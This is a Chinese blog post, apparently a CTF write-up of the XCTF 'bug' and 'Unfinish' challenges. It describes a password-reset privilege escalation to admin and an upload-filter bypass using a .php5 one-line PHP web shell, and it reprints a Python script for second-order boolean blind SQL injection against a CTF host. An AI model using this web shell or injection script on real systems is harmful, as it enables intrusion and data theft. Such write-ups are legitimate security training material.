XCTF BUG( 越权 修改forwarded头 文件上传) UNFINSH(二次注入 python脚本) 学习过程

本文详细介绍了参与XCTF比赛时遇到的两种常见安全问题——越权漏洞和SQL注入的解决过程。作者首先通过信息收集和功能测试发现管理模块需要管理员权限,通过修改请求实现越权登录。接着在文件上传模块中,利用PHP5绕过过滤规则成功上传恶意脚本。最后面对SQL注入,通过ASCII布尔盲注技巧配合自动化脚本最终获取到flag。博客内容涵盖了漏洞利用和CTF解题策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最近忙着入职和处理一些杂事,更新的确比较少了。不过在周末还是正好有空的,正好刷刷XCTF。

目录

XCTF BUG

注册账号

越权漏洞

 文件上传

XCTF UFINISH


 

XCTF BUG

首先进行常规的信息收集:F12查看源码,robots.txt 文件,无果,

简单注入语句 无果 考虑到登陆界面是否有二次注入

burpsuite 简单抓包 发现cookie中只存在一个SESSION

尝试弱口令无果。

所以只能从网站的功能落手了。

注册账号

登陆进去把所有功能都点一下。

 点击manage 模块 提示要以admin 登陆

 

越权漏洞

那么排除弱口令和注入的情况下,该怎么才能以admin身份登陆呢?

思路比较重要,毕竟CTF都是有答案的,不像一些站的关键模块怎么都早不到洞(原谅我的确菜)

 

点击findpwd  填好们之前注册的账号信息

 点击 verify 按钮,抓包 把用户名 user 修改为admin 密码123456

可以看到返回包中显示修改成功。

以 admin 123456 登陆 进行下一步。

 文件上传

点击manager功能,查看源码

 moudle(是功能模块的意思)

这里也同样需要一个经验

module=filemanage&do=???

让我们差功能模块是什么    根据经验(write up)是 upload

进入

url/index.php?module=filemanage&do=upload

然后发现一个文件上传模块

简单尝试发现过滤规则

  1. 文件内容有前端验证 只能上传图片文件 我们可以上传一张图片改后缀
  2. 文件名存在后端黑名单  但可用php5 绕过
  3. 对文件内容有检测 不能有<?php>

针对以上过滤

  1. 创建一个 <script language="php">system($_GET['aaa']);</script>  php文件
  2. 修改后缀为jpg,上传burpsuite 改包,后缀修改为 。php5
  3. 点击发包即可获取flag

 

 

XCTF UFINISH

信息收集

 从上图可以知道是sql注入

查看源码,没啥关键的,尝试sql注入语句,发现对关键符号都有着过滤,而且必须要包含一个@符号

尝试了几个语句 发现绕不过(我觉得就算是能绕过我也绕不过|o--o|)

dirsearch-master 扫下目录

 先注册一个账号起

 

 这次总不是一张吊图了。查看源码发现没什么,但这里显示了我们的用户名

 很大程度像二次注入了

buuctf XCTF October 2019 Twice SQL Injection 二次注入原理+题解_AAAAAAAAAAAA66的博客-CSDN博客


 

开始试验一下

 难点:把注入语句写在引号里面这里,不过上图中的数据是注册不成功的,但坑的一点是不会报错,所以得不断尝试。

也就是说fuzz这个过程比较困难。过滤了 information_schema 逗号等

所以采用 + 和ascii 布尔盲注的形式

select '0'+ascii(substr(database(),1,1));

[网鼎杯2018]Unfinish - 夜幕下的灯火阑珊 - 博客园

所以直接借用大佬的脚本。(以后必须得学学这种注入脚本的写法)

#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time


url = 'http://111.200.241.244:58602/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    html = r3.text
    soup = BeautifulSoup(html,'html.parser')
    UserName = soup.span.string.strip()
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)

 参考链接

2018 网鼎杯 unfinish - 知乎

[网鼎杯2018]Unfinish_fmyyy1的博客-CSDN博客

xctf-bug(绕过)_lzbzzzzz的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值